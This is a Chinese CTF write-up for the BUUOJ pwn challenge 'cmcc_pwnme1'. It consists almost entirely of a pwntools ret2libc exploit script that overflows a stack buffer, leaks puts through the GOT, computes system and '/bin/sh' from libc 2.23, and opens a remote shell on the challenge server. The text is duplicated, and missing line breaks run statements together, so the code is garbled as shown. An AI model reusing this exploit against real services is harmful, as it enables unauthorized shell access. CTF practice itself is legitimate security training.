cmcc
cmcc_pwnme1
查看保护
直接ret2libc吧。
from pwn import *context(arch='i386', os='linux', log_level='debug')file_name = './z1r0'debug = 1
if debug:r = remote('node4.buuoj', 27421)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']r.sendlineafter('>> 6. Exit ', '5')
p1 = b'a' * (0xa4 + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(p1)puts_addr = u32(r.recvuntil('\xf7')[-4:].ljust(4, b'\x00'))
success('puts_addr = ' + hex(puts_addr))libc = ELF('libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()r.sendlineafter('>> 6. Exit ', '5')
p2 = b'a' * (0xa4 + 4) + p32(system_addr) + p32(0) + p32(bin_sh)
r.sendline(p2)r.interactive()
cmcc
cmcc_pwnme1
查看保护
直接ret2libc吧。
from pwn import *context(arch='i386', os='linux', log_level='debug')file_name = './z1r0'debug = 1
if debug:r = remote('node4.buuoj', 27421)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']r.sendlineafter('>> 6. Exit ', '5')
p1 = b'a' * (0xa4 + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(p1)puts_addr = u32(r.recvuntil('\xf7')[-4:].ljust(4, b'\x00'))
success('puts_addr = ' + hex(puts_addr))libc = ELF('libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()r.sendlineafter('>> 6. Exit ', '5')
p2 = b'a' * (0xa4 + 4) + p32(system_addr) + p32(0) + p32(bin_sh)
r.sendline(p2)r.interactive()